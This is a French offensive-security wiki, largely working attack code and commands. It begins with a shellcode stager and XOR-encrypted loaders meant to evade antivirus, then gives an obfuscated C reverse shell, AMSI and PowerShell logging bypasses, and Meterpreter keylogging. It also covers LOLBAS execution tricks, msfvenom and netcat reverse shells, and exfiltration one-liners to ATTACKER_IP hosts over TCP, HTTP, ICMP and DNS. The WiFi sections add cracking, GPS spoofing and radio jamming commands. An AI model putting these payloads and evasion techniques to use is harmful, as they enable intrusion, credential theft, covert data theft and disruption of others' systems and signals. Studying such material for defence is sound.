  public static void Stager(string url)
  {

    WebClient wc = new WebClient();
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

    byte[] shellcode = wc.DownloadData(url);

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

Pensez à remplacer l'adresse IP du serveur de l'attaquant dans la fonction Main.

Sur une machine Windows vous pouvez compiler le code :

csc staged-payload.cs

Puis sur le serveur de l'attaquant, vous pouvez monter un serveur web avec un certificat (peu importe la validité) :

openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

Maintenant que le serveur web est prêt, il faut générer le shellcode :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'

Puis lancez un serveur netcat en écoute :

nc -lvp 7474

Encodage et chiffrement

Un bon moyen d'éviter d'être détecté par les solutions antivirales consiste à encoder et/ou chiffrer notre shellcode.

Pour que ce soit efficace, il vaut mieux coupler plusieurs méthodes d'encodage et de chiffrement.

Voici un programme en C# qui encode le shellcode en base64 et qui le chiffre en XOR :

using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;

public class Program {
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  
  private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
  public static void Main()
  {

    string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
    byte[] data = Convert.FromBase64String(dataBS64);

    string key = "THMK3y123!";
    //Convert Key into bytes
    byte[] keyBytes = Encoding.ASCII.GetBytes(key);

    byte[] encoded = xor(data, keyBytes);

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

Pour le compiler depuis une machine Windows :

csc.exe EncStageless.cs

Ce programme prend en entrée le shellcode encodé en base64.

Pour encoder votre payload en base64, vous pouvez utiliser ce programme :

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Encrypter
{
    internal class Program
    {
        private static byte[] xor(byte[] shell, byte[] KeyBytes)
        {
            for (int i = 0; i < shell.Length; i++)
            {
                shell[i] ^= KeyBytes[i % KeyBytes.Length];
            }
            return shell;
        }
        static void Main(string[] args)
        {
            //XOR Key - It has to be the same in the Droppr for Decrypting
            string key = "THMK3y123!";

            //Convert Key into bytes
            byte[] keyBytes = Encoding.ASCII.GetBytes(key);

            //Original Shellcode here (csharp format)
            byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };

            //XORing byte by byte and saving into a new array of bytes
            byte[] encoded = xor(buf, keyBytes);
            Console.WriteLine(Convert.ToBase64String(encoded));        
        }
    }
}

Remplacez votre shellcode dans la variable buf puis compilez et lancer-le :

C:\> csc.exe Encrypter.cs
C:\> .\Encrypter.exe
qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=

Packers

Les packers sont des logiciels qui prennent en entrée du code et qui va changer sa structure sans le rendre inopérant pour autant. Bien qu'ils servent à la base à empêcher le rétro-engineering, ils sont aussi assez efficace pour obsfusquer du code.

image.png

Le logiciel ConfuserEx est un packer assez efficace pour obfusquer vos exécutables .NET.

Après avoir sélectionner un workspace dans ConfuserEx, faite un drag and drop de votre exécutable puis rendez-vous dans Settings pour activer la compression :

image.png

image.png

Ensuite, cliquez sur la règle "true" pour l'éditer et définissez le preset sur Maximum et cliquer sur Done :

image.png

Après, rendez-vous dans Protect! et cliquez sur le bouton Protect! :

image.png

Le fichier exécutable a été packé !

Utilisation d'un plus petit payload

Plutôt que d'exécuter un reverse shell, si vous n'avez besoin d'effectuer que quelques commandes, cela rendra la détection plus complexe pour l'antivirus :

msfvenom -a x64 -p windows/x64/exec CMD='net user pwnd Password321 /add;net localgroup administrators pwnd /add' -f csharp

Concaténation

Si l'antivirus détecte une chaîne de caractères spécifique, vous pouvez essayer de la découper et de la concaténer dans votre code pour échapper à la détection.
En Powershell, on peut utiliser les techniques suivantes :

Character
Purpose
Example
Breaks
Break a single string into multiple sub strings and combine them

('co'+'ffe'+'e')

Reorders
Reorder a string’s components

('{1}{0}'-f'ffee','co')

Whitespace
Include white space that is not interpreted

.( 'Ne' +'w-Ob' + 'ject')

Ticks
Include ticks that are not interpreted

d`own`LoAd`Stri`ng

Random Case
Tokens are generally not case sensitive and can be any arbitrary case

dOwnLoAdsTRing

Utilisation d'un pointeur sur fonction

Pour éviter d'utiliser directement des appels à l'API de windows qui peuvent être suspects, on peut utiliser des pointeurs sur fonction pour essayer de passer sous les radars.

Voici le code initial :

#include <windows.h>
#include <stdio.h>
#include <lm.h>

int main() {
    printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
    CHAR hostName[260];
    DWORD hostNameLength = 260;
    if (GetComputerNameA(hostName, &hostNameLength)) {
        printf("hostname: %s\\n", hostName);
    }
}

Et voici le code transformé :

#include <windows.h>
#include <stdio.h>
#include <lm.h>

int main() {

    typedef BOOL (WINAPI* myNotGetComputerNameA)(
    	LPSTR   lpBuffer,
    	LPDWORD nSize
    );

    HMODULE hkernel32 = LoadLibraryA("kernel32.dll");

    myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");

    printf("notGetComputerNameA: 0x%p\\n", notGetComputerNameA);
    CHAR hostName[260];
    DWORD hostNameLength = 260;
    if (notGetComputerNameA(hostName, &hostNameLength)) {
        printf("hostname: %s\\n", hostName);
    }
}

Ainsi on utilise la fonction notGetComputerNameA au lieu d'appeler GetComputerNameA.

AMSI Bypass

image.png

L'AMSI pour Anti Malware Interface Scan est une sécurité qui vous empêchera de lancer des scripts Powershell, s'ils sont considérés comme malveillant.

Heureusement pour nous, il existe des techniques pour le contourner assez aisément.

Par exemple, le site suivant permet de générer des payloads pour rendre l'AMSI inopérant dans la session en cours :

Cependant, tous les patterns sont détectées comme malveillants par leur signature.

L'astuce de contournement est de déplacer dans le code, la déclaration de variables pour changer le pattern jusqu'à ce que le code s'exécuter sans broncher.

Ensuite, vous pourrez lancer vos payloads Powershell, sans que l'AMSI vous en empêche.

Sinon il existe un dépôt github qui répertorie 20 techniques de contournement de l'AMSI :

Autres techniques d'obfuscation en vrac

Reverse shell obsfucated

En bonus, voici un reverse shell en C qui contournera les antivirus basiques :

#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>

#define DEFAULT_BUFLEN 1024

typedef int(WSAAPI* WSASTARTUP)(WORD wVersionRequested,LPWSADATA lpWSAData);
typedef SOCKET(WSAAPI* WSASOCKETA)(int af,int type,int protocol,LPWSAPROTOCOL_INFOA lpProtocolInfo,GROUP g,DWORD dwFlags);
typedef unsigned(WSAAPI* INET_ADDR)(const char *cp);
typedef u_short(WSAAPI* HTONS)(u_short hostshort);
typedef int(WSAAPI* WSACONNECT)(SOCKET s,const struct sockaddr *name,int namelen,LPWSABUF lpCallerData,LPWSABUF lpCalleeData,LPQOS lpSQOS,LPQOS lpGQOS);
typedef int(WSAAPI* CLOSESOCKET)(SOCKET s);
typedef int(WSAAPI* WSACLEANUP)(void);

void runn(char* serv, int Port) {

	HMODULE hws2_32 = LoadLibraryW(L"ws2_32");
	WSASTARTUP myWSAStartup = (WSASTARTUP) GetProcAddress(hws2_32, "WSAStartup");
	WSASOCKETA myWSASocketA = (WSASOCKETA) GetProcAddress(hws2_32, "WSASocketA");
	INET_ADDR myinet_addr = (INET_ADDR) GetProcAddress(hws2_32, "inet_addr");
	HTONS myhtons = (HTONS) GetProcAddress(hws2_32, "htons");
	WSACONNECT myWSAConnect = (WSACONNECT) GetProcAddress(hws2_32, "WSAConnect");
	CLOSESOCKET myclosesocket = (CLOSESOCKET) GetProcAddress(hws2_32, "closesocket");
	WSACLEANUP myWSACleanup = (WSACLEANUP) GetProcAddress(hws2_32, "WSACleanup");
	SOCKET S0;
	struct sockaddr_in addr;
	WSADATA version;
	myWSAStartup(MAKEWORD(2,2), &version);

	S0 = myWSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = myinet_addr(serv);
	addr.sin_port = myhtons(Port);

	if (myWSAConnect(S0, (SOCKADDR*)&addr, sizeof(addr), 0, 0, 0, 0)==SOCKET_ERROR) {
		myclosesocket(S0);
		myWSACleanup();
	}
	else {
		char p1[] = "cm";
		char p2[]="d.exe";
		char* p = strcat(p1,p2);
		STARTUPINFO sinfo;
		PROCESS_INFORMATION pinfo;
		memset(&sinfo, 0, sizeof(sinfo));
		sinfo.cb = sizeof(sinfo);
		sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
		sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) S0;
		CreateProcess(NULL, p, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
		WaitForSingleObject(pinfo.hProcess, INFINITE);
		CloseHandle(pinfo.hProcess);
		CloseHandle(pinfo.hThread);
	}
}

int main(int argc, char **argv) {

	if (argc == 3) {
		int port = atoi(argv[2]);
		runn(argv[1], port);
	}
	else {
		char host[] = "10.8.121.218";
		int port = 4545;
		runn(host, port);
	}

	return 0;
}

Pensez à remplacer l'adresse IP et le port !

Et compilez :

x86_64-w64-mingw32-gcc shell.c -o shell.exe -lwsock32 -lws2_32

Windows

[Exploitation/Windows] Keylogger

Introduction

Afin de récupérer des mots de passe dans un contexte réel, il peut être utile de déployer un keylogger sur le poste de l'utilisateur.

Nous allons voir comment le faire avec Metasploit, mais vous pouvez utiliser le keylogger de votre choix.

Manuel

Depuis une session Meterpreter ou un reverse shell vous pouvez constater si le processus explorer.exe est en cours d'exécution :

meterpreter\>ps | grep "explorer"
Filtering on 'explorer'

Process List
============

 PID   PPID  Name          Arch  Session  User                     Path
 ---   ----  ----          ----  -------  ----                     ----
 3612  3592  explorer.exe  x64   1        THMSERVER1\trevor.local  C:\Windows\explorer.exe

Ensuite on peut migrer sur ce processus pour lancer le keylogger sur l'utilisateur cible :

meterpreter\>migrate 3612
[*] Migrating from 4408 to 3612...
[*] Migration completed successfully.

On peut maintenant lancer le keylogger :

meterpreter\>keyscan_dump
Dumping captured keystrokes...
keep<CR>
<Shift>Passwordpasswordpassword<CR>

Windows

[Exploitation/Windows] Living Off the Land

Introduction

Le terme de Living Off The Land signifie se débrouiller avec les moyens du bord et donc avec les outils déjà présents dans notre contexte pour du Red teaming.

L'intérêt d'utiliser des outils déjà présent sont multiples :

image.png

LOLBAS

Ce projet réunis les techniques et outils de Living Off The Land :

LOTS Project

Ce projet similaire à LOLBAS, réunis les sites légitimes (Livin Of Trusted Sites) qui peuvent être abusés par les attaquants :

Manuel

Télécharger un fichier depuis un serveur HTTP

Il est possible de télécharger un fichier avec certutil.exe bien qu'il soit initialement conçu pour gérer les certificats sur Windows :

certutil -URLcache -split -f <URL> <OUTPUT>

Vous pouvez aussi utiliser BitsAdmin :

bitsadmin.exe /transfer /Download /priority Foreground <URL> <OUTPUT_FILE>

Télécharger un fichier depuis un serveur SMB

Grâce à l'outil findstr, il est possible de télécharger un fichier depuis un partage samba :

findstr /V dummystring \\<IP|FQDN>\<Share>\<FILE> > <OUTPUT_FILE>

dummystring correspond à une chaîne non présente dans le fichier recherché.

Encoder un fichier

Avec certutil, on peut encoder un fichier et le rendre bien plus difficile à détecter :

certutil -encode <INPUT_FILE> <OUTPUT_ENCODED_FILE>

Vous pouvez encoder vos binaires de cette façon.

Exécuter un binaire

L'exécution de binaire peut se faire de manière traditionnelle via le cmd ou depuis le bureau.
Cependant, il existe des manières d'exécuter un fichier de manière plus discrète notamment avec l'explorateur de fichier qui sera le parent de notre processus si on exécute notre binaire de la façon suivante :

explorer.exe /root,"<EXE_FILE>"

On peut aussi le faire avec WMIC :

wmic.exe process call create <EXE_WITHOUT_EXTENSION>

Le payload ne doit pas comporter d'extension (.exe) dans la commande !

On peut aussi utiliser RunDLL pour exécuter des programmes ou du code Javascript ou même Powershell :

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"<EXE_WITHOUT_EXTENSION>\");window.close()");

Le payload ne doit pas comporter d'extension (.exe) dans la commande !

Et pour exécuter un script Powershell présent sur un serveur web distant :

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('<URL>');");

Importation de DLL corrompue

Avec l'utilitaire regsvr32, il est possible d'exécuter une DLL corrompue.

Tout d'abord, créez votre payload (DLL corrompue) avec Metasploit :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 -f dll -a x86 > <PAYLOAD>.dll 

Trouvez un moyen de la téléverser sur la machine victime puis lancez cette commande :

c:\Windows\System32\regsvr32.exe <PAYLOAD>.dll

Vous pouvez aussi utiliser différentes options pour essayer d'être plus discret :

c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct <PAYLOAD>.dll

Lors de l'exécution, vous devriez obtenir un reverse shell et ainsi contourner le whitelisting d'application de Windows.

Injection de DLL malveillante dans un processus

L'utilitaire mavinject, il est possible d'injecter une DLL dans un processus en cours d'exécution :

MavInject.exe <PID> /INJECTRUNNING <PATH_TO_DLL>

Vous devez seulement au préalable préparer votre DLL et trouver le PID du processus cible.

Contournement du whitelisting d'application

Parfois, Windows autorise seulement certaines applications à se démarrer par sécurité.

Cependant, cette sécurité ne prend pas en compte le fait que certaines applications peuvent être lancées à partir d'autres applications légitimes telles que Bash qui a été implémentée dans Windows 10 et Windows Server 19 à travers WSL :

bash.exe -c "<PAYLOAD>.exe"

Exécution de code Powershell sans utiliser Powershell

Il est possible d'exécuter un script powershell malveillant sans utiliser Powershell, en passant par MSBuild.

Cette technique peut-être utile lorsque le processus Powershell est surveillée voire bloquée.

Pour l'exemple, on peut générer un payload Powershell avec Metasploit :

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=<IP> LPORT=443 -f psh-reflection > <PAYLOAD>.ps1

Ensuite, on peut utiliser le projet PowerLessShell pour convertir notre script Powershell, en fichier de projet MSBuild :

python2 PowerLessShell.py -type powershell -source <PAYLOAD>.ps1 -output <PROJECT>.csproj

On peut se mettre en écoute avec Metasploit :

msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost <IP>;set lport 443;exploit"

Une fois le fichier transféré sur la machine victime on peut lancer le fichier avec MSBuild :

c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe <PROJECT>.csproj

Windows

[Exploitation/Windows] Monitoring evasion

Introduction

L'objectif est d'effacer les traces laissées par nos actions durant l'attaque afin que l'EDR ne puisse pas avoir conscience de notre activité.

image.png

Techniques

Reflection

$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);

Si on monitore le nombre d'événements windows écoulés, on peut voir que les commandes n'incrémentent plus cette variable :

PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
18

PS C:\Users\Administrator> whoami
Tryhackme\administrator

PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
18

Groupe Policy Take Over

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0

WiFi

WiFi

[Exploitation/Wifi] Drivers AWUS1900

Introduction

La carte wifi AWUS1900 nécessite l'installation du driver rtl8814au pour fonctionner.

Installation

Kali Linux

sudo apt install dkms build-essential libelf-dev linux-headers-`uname -r` && cd /tmp && git clone https://github.com/aircrack-ng/rtl8814au && cd rtl8814au && sudo make dkms_install

WiFi

[Exploitation/WiFi] Aircrack-ng

Introduction

La suite d'outils Aircrack-ng permettent d'attaquer des réseaux wifi. L'outil est installé par défaut sur Kali Linux.

image.png

Sources

Prérequis

  1. Une carte réseau wifi avec les chipsets suivants :

Manuel

Les réseaux sans-fil WEP sont très mal sécurisés ce qui permet de les exploiter très facilement et ne prend généralement pas plus de quelques minutes.

Affichez les interfaces réseaux wifi utilisables pour votre attaque :

sudo airmon-ng

Commencez par éteindre l'interface de votre carte réseau wifi :

sudo airmon-ng stop <IFACE>

Passez-la en mode moniteur :

sudo airmon-ng start <IFACE>

Démarrez l'interface :

Scannez les réseaux wifi des environs :

sudo airodump-ng --write <FILE> <IFACE>

Les résultats seront stockés dans le fichier spécifié.

Désormais, mettez de côté le BSSID (adresse MAC du point d'accès) ainsi que le ESSID (nom affiché) du point d'accès que vous souhaitez cibler.

Maintenant ce qui est intéressant c'est de récupérer l'adresse MAC d'un hôte connecté sur ce réseau :

sudo airodump-ng <IFACE> --write <FILE> -channel <CHANNEL> --bssid <BSSID>

Lorsque vous aurez mis de côté une adresse MAC, fermez airodump et préparez deux terminaux.

Lancez la commande suivante dans le premier terminal afin de bombarder la cible avec des paquets de désauthentification :

sudo aireplay-ng -3 -e <ESSID> -b <BSSID> -h <HOST_MAC> <IFACE>

On peut aussi utiliser l'option -x afin de spécifier une vitesse de l'injection de paquet. Par défaut cette vitesse est définie à 600 paquets par seconde mais il est recommandé d'augmenter si vous êtes vraiment proche du point d'accès afin de capturer davantage d'IVs, et au contraire il est recommandé de le diminuer si vous êtes loin pour éviter de faire planter le point d'accès.

Dans le second terminal, lancez la commande suivante en remplaçant les options par les fichiers capturés par aireplay :

WEP

aircrack-ng -x <FILE.cap> <FILE.ivs>

WPA

aircrack-ng -a2 -b <BSSID> -w <WORDLIST> <FILE.cap>

WiFi

[Exploitation/Wifi] Wifite

Introduction

L'outil Wifite permet d'effectuer des attaques sur les réseaux wifi de manière simple et automatisée.

Par défaut, il est installé sur Kali Linux. 

image.png

Outils complémentaires

Pour pouvoir bénéficier de tout le panel d'attaques que propose Wifite, il vous faudra installer deux paquets supplémentaire :

sudo apt install -y hcxdumptool hcxtools

Manuel

sudo wifite

WiFi

[Exploitation/Wifi] HackrfOne

Introduction

Ce boitier permet d'effectuer diverses attaques sur les ondes radios.

image.png

Manuel

Firmwares

Téléchargez les firmwares .bin à cette adresse :

Puis balancez le firmware sur l'équipement après l'avoir branché en USB :

hackrf_spiflash -Rw hackrf_one_usb.bin

Fake GPS

Cette technique permet d'envoyer un faux signal GPS aux appareils environnants.

Tout d'abord, installez le paquet hackrf :

sudo apt install hackrf

Puis connectez le boitier et vérifier qu'il soit détecté avec la commande suivante :

hackrf_info

Ensuite, clonez ce dépôt :

git clone https://github.com/osqzss/gps-sdr-sim.git

Compilez pour obtenir le binaire :

make

Puis téléchargez la dernière éphéméride sur le site de la NASA :

 Et lancez l'outil pour générer un fichier gpssim.bin à partir d'une position GPS :

./gps-sdr-sim -b 8 -e brdc3540.21n -l 48.858844,2.294351,100

Puis lancez hackrf pour propager les ondes :

hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 40

Jamming

Pour brouiller un signal wifi :

hackrf_transfer -t /dev/urandom -f 2442000000 -s 20000000 -a 1

 

Réseau

Réseau

[Exploitation/Réseau] Metasploit

Introduction

Metasploit est un framework complet pour les pentester. Il est très célèbre et réputé pour sa facilité d'utilisation.

image.png

Reverse shell Meterpreter

Payload Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> --format=exe > payload.exe

Payload Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > payload.elf

Listener

Après avoir généré le payload, vous devez lancer la console metasploit pour lancer le serveur d'écoute :

msfconsole

Une fois dans la console, il faut indiquer à metasploit que l'on souhaite se rendre dans la catégorie des listener :

use multi/handler

Ensuite, il faut définir le type de payload utilisé :

set payload <PAYLOAD>

Définir l'adresse IP d'écoute :

set LHOST <IP>

Définir le port d'écoute :

set LPORT <PORT>

Démarrer le serveur d'écoute :

run

Réseau

[Exploitation/Réseau] Exploit-DB & Searchsploit

Introduction

La base Exploit-DB recense l'ensemble des CVE connues et dont au moins un exploit est disponible.

L'outil searchsploit quant à lui s'utilise en ligne de commande et permet de trouver les vulnérabilités disponibles pour une application donnée et pour une version donnée de cette application si elle est composée.

image.png

Exploit-DB

Une barre de recherche est disponible pour taper le numéro de la CVE que vous souhaitez rechercher :

image.png

Si on prend l'exemple de la vulnérabilité Eternal Blue sortie en 2017, ayant pour nom CVE-2017-0144, on peut chercher 2017-0144 dans la barre de recherche pour trouver les exploits disponibles :

image.png

Searchsploit

Pour chercher les vulnérabilités disponibles pour une application on peut utiliser cette commande :

searchsploit <APP> [VERSION]

Pour afficher le descriptif d'un exploit :

searchsploit -m <EXPLOIT_PATH>

Réseau

[Exploitation/Réseau] Netcat

Introduction

Netcat est un outil en ligne de commande qui permet de travailler sur des connexions réseaux TCP et UDP.

Il peut être utile pour diagnostiquer ou se connecter à des applications rustiques utilisant des sockets traditionnels.

image.png

Manuel

Connexion TCP

nc <IP> <PORT>

Connexion UDP

nc -u <IP> <PORT>

Listener TCP

nc -lvp <PORT>

Listener UDP

nc -luvp <PORT>

Payload reverse shell

nc <IP> <PORT> –e /bin/bash
nc <IP> <PORT> –e cmd.exe

Stabiliser votre shell

Afin de stabiliser votre shell et le rendre un peu plus ergonomique, notamment en affichant un plus beau prompt, vous pouvez utiliser la commande suivante pour faire spawn un PTY :

python -c 'import pty; pty.spawn("/bin/sh")'

Cheat-sheet

image.png

Réseau

[Exploitation/Réseau] Pwncat

Introduction

Cet outil vise à fournir la même fonction que netcat avec des fonctions supplémentaires très pratiques lors de vos tests d'intrusion.

image.png

Installation

Voici la commande pour installer pwncat dans un environnement virtuel :

python3 -m venv /opt/pwncat && /opt/pwncat/bin/pip install pwncat-cs && ln -s /opt/pwncat/bin/pwncat-cs /usr/local/bin

Manuel

Documentation officielle

Lancer un listener

pwncat-cs -lp <PORT>
pwncat-cs
listen -m linux <PORT>

Sélection d'une session

Depuis le mode interractif :

sessions <NUMBER>

Passer du mode local à remote

Une fois votre connexion établie, vous pourrez basculer du mode local (shell local de votre machine) au mode remote (shell distant de la machine compromise).

Pour basculer d'un mode à l'autre il vous suffit d'utiliser la combinaison CTRL+D.

Upload

Plus besoin de bricoler pour transférer des fichiers de votre machine vers la machine distante, vous pouvez utiliser la commande upload depuis le mode local pour téléverser un fichier dans le répertoire courant de la session distante:

upload <FILE>

Download

De la même manière vous pouvez récupérer des fichiers distants sur votre machine locale (cela peut être utile pour les analyser) :

download <FILE>
Réseau

[Exploitation/Réseau] ICMP Reverse shell

Introduction

Parfois, les pare-feux bloquent les connexions TCP et UDP mais oublient de bloquer le trafic ICMP.

Cependant, cette ouverture peut être exploitée pour ouvrir un reverse shell sur la machine victime et ainsi, contourner le pare-feu.

image.png

Exploitation

Python

Pour la démonstration nous allons utiliser le projet icmpdoor :

L'exploitation nécessite les droits root sur la machine victime puisque le payload utilise Scapy et exploite le driver de la carte réseau.

Sur la machine de l'attaquant, lancer la commande suivante :

sudo python3 icmp-cnc.py -i <IFACE> -d <VICTIM-IP>

Ensuite, trouver un moyen pour dropper le script icmpdoor.py sur la machine victime et lancer la commande suivante :

sudo python3 icmpdoor.py -i <IFACE> -d <ATTACKER-IP>

C (binaires)

Si python n'est pas présent sur la machine victime, vous allez devoir utiliser un autre projet :

Après avoir cloner le dépôt sur la machine de l'attaquant, compilez les binaires server et client :

gcc server.c -o server -pthread
gcc client.c -o client -pthread

Lancer le serveur sur la machine de l'attaquant :

./server <TARGET_IP>

Ensuite, trouver un moyen de transférer le binaire client sur la machine de la victime et exécuter-le :

./client

Réseau

[Exploitation/Réseau] Data exfiltration

Introduction

Après avoir compromis un système et élevé ses privilèges, un pirate va avoir tendance à exfiltrer des données sensibles.

Cependant, il ne doit pas se faire détecter par les systèmes de sécurité et contourner les potentiels pare-feux.

Techniques

Netcat

Un simple flux TCP peut suffire dans certains cas. Vous pouvez alors lancer un listener sur la machine de l'attaquant :

nc -lvp <PORT> > <OUTPUT>

Et depuis la machine victime :

tar zcf - <DIR> | base64 | dd conv=ebcdic > /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT>

Le fichier sera compressé, encodé en base64 et en EBCDIC par DD avant d'être envoyé, ce qui rend le trafic illisible sur le réseau.

Une fois la donnée récupérée, on peut la décoder et la décompressée :

dd conv=ascii if=<FILE> |base64 -d > <ARCHIVE>.tar
tar xvf <ARCHIVE>

SSH (sans SCP)

tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"

HTTP POST

Monter un serveur web php qui va recevoir les données en base64 et les enregistrer dans un fichier :

<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
   }
?>

Depuis la machine victime, on peut maintenant exfiltrer les données de la sorte :

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php

À cause de l'encodage URL, les + sont remplacés par des espaces, on peut résoudre le problème :

sudo sed -i 's/ /+/g' /tmp/http.bs64

Puis on peut décoder et extraire le fichier :

cat /tmp/http.bs64 | base64 -d | tar xvfz -

L'avantage par rapport à la méthode GET est que la donnée en base64 ne sera pas enregistrée dans les logs du serveur web.

On peut aussi utiliser un serveur web en HTTPS pour que le trafic soit complètement chiffré. 

ICMP

À travers le champs DATA des paquets ICMP, il est possible d'exfiltrer des données.

Pour cela, on peut se mettre en écoute sur la machine de l'attaquant avec le bon module Metasploit :

msfconsole
use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP
set INTERFACE eth0
run

Et on peut exfiltrer de la donnée depuis la machine victime grâce à nping :

sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"

Depuis Metasploit, vous devriez avoir reçu la donnée.

DNS

On exfiltrer de la donnée en utilisant le DNS même si pour cela il faut être en possession d'un nom de domaine.

Sur la machine de l'attaquant, écoutez les requêtes DNS :

sudo tcpdump -i eth0 udp port 53 -v

Puis depuis la machine victime, on encode en base64 la chaîne contenue dans le fichier credit.txt, on la découpe en chaînes de 18 caractères (63 max) et on ajuste en retirant les "." puis on effectue les requêtes :

cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash

On peut décoder la chaîne une fois reçue sur le poste de l'attaquant :

echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com." | cut -d"." -f1-8 | tr -d "." | base64 -d

Sur le même principe, on peut créer une entrée TXT sur le serveur DNS afin de stcoker des scripts encodés en base64 :

dig +short -t TXT flag.tunnel.com
> "YmFzaCAtYyAvdXNyL2xvY2FsL3NiaW4vZmxhZy5zaAo="

On peut le récupérer et l'exécuter :

dig +short -t TXT flag.tunnel.com | tr -d "\"" | base64 -d | bash

Réseau

[Exploitation/Réseau] IDS/IPS Evasion

Introduction

Cette page décrit des solutions pour contourner des solutions IDS/IPS telles que Snort ou autre.

Manuel

Reverse shell avec certificat SSL

